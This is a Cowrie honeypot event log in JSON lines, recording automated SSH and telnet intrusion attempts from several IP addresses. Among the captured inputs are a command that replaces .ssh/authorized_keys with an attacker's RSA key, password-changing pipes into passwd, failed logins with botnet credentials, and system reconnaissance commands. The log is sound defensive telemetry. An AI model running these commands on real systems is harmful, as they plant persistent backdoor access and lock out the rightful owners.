{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:27.671952Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:27.676067Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:27.680373Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:27.965170Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:28.694765Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:28.698395Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/admin/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:29.173003Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:29.176538Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":27706,"dst_ip":"159.203.135.109","dst_port":22,"session":"dadbcbf14ad5","protocol":"ssh","message":"New connection: 185.9.193.111:27706 (159.203.135.109:22) [session: dadbcbf14ad5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:29.730415Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:29.737957Z","src_ip":"185.9.193.111","session":"dadbcbf14ad5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:30.234895Z","src_ip":"185.9.193.111","session":"dadbcbf14ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.628133296966553,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:30.278046Z","src_ip":"45.63.78.87","session":"64bd4e0b0666","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":56046,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8aa2e79b33d","protocol":"telnet","message":"New connection: 45.63.78.87:56046 (10.17.0.5:23) [session: e8aa2e79b33d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:30.853438Z"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:31.157353Z","src_ip":"185.9.193.111","session":"dadbcbf14ad5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:32.371938Z","src_ip":"185.9.193.111","session":"dadbcbf14ad5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.9.193.111","src_port":15427,"dst_ip":"159.203.135.109","dst_port":22,"session":"c103fd56177e","protocol":"ssh","message":"New connection: 185.9.193.111:15427 (159.203.135.109:22) [session: c103fd56177e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:32.597705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:32.602845Z","src_ip":"185.9.193.111","session":"c103fd56177e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:32.826993Z","src_ip":"185.9.193.111","session":"c103fd56177e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.30.237.219","src_port":4938,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d037d52d0c7","protocol":"telnet","message":"New connection: 23.30.237.219:4938 (159.203.135.109:23) [session: 9d037d52d0c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:34.435095Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:34.468947Z","src_ip":"185.9.193.111","session":"c103fd56177e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:36.021272Z","src_ip":"185.9.193.111","session":"c103fd56177e","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:36.262506Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:36.265749Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:36.508089Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:37.347555Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"Admin@2024\\n4BjrR9iXXwM4\\n4BjrR9iXXwM4\"|passwd|bash","message":"CMD: echo -e \"Admin@2024\\n4BjrR9iXXwM4\\n4BjrR9iXXwM4\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:37.351861Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:37.356750Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:37.360668Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":58370,"dst_ip":"10.17.0.5","dst_port":23,"session":"89717c684969","protocol":"telnet","message":"New connection: 45.63.78.87:58370 (10.17.0.5:23) [session: 89717c684969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:37.781823Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/dcb4dc766299ad73d1b40f63dafcdf25bcc20c3e27cf8cabca80dde5fcf356c1","size":32,"shasum":"dcb4dc766299ad73d1b40f63dafcdf25bcc20c3e27cf8cabca80dde5fcf356c1","duplicate":false,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/dcb4dc766299ad73d1b40f63dafcdf25bcc20c3e27cf8cabca80dde5fcf356c1 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:37.852918Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:39.895655Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"Admin@2024\\n4BjrR9iXXwM4\\n4BjrR9iXXwM4\\n\"|passwd","message":"CMD: echo \"Admin@2024\\n4BjrR9iXXwM4\\n4BjrR9iXXwM4\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:39.899350Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f00738a7181d39177dc1b67627d742b78afda2741def5de2b144bcd7eeea0adc","size":25,"shasum":"f00738a7181d39177dc1b67627d742b78afda2741def5de2b144bcd7eeea0adc","duplicate":false,"duration":"2.0","message":"Closing TTY Log: var/lib/cowrie/tty/f00738a7181d39177dc1b67627d742b78afda2741def5de2b144bcd7eeea0adc after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:41.868137Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:42.246043Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:42.249418Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:42.908098Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:43.842009Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:43.845809Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:44.252624Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.310232400894165,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:44.478938Z","src_ip":"199.103.57.63","session":"eb59b14cff37","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:45.210800Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:45.214727Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:45.218748Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"1.2","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:46.427640Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:51.007252Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:51.010606Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:51.467695Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:52.460552Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:52.463862Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:52.989231Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:54.144601Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:54.148505Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.63.78.87","src_port":34588,"dst_ip":"10.17.0.5","dst_port":23,"session":"10dc6aac1047","protocol":"telnet","message":"New connection: 45.63.78.87:34588 (10.17.0.5:23) [session: 10dc6aac1047]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:54.303261Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:54.804614Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.229244470596313,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:55.309573Z","src_ip":"45.63.78.87","session":"4e044bc1beb6","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:57.096437Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:57.099096Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.8","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T21:23:57.877818Z","src_ip":"185.9.193.111","session":"2c6149859d9f","protocol":"ssh"}
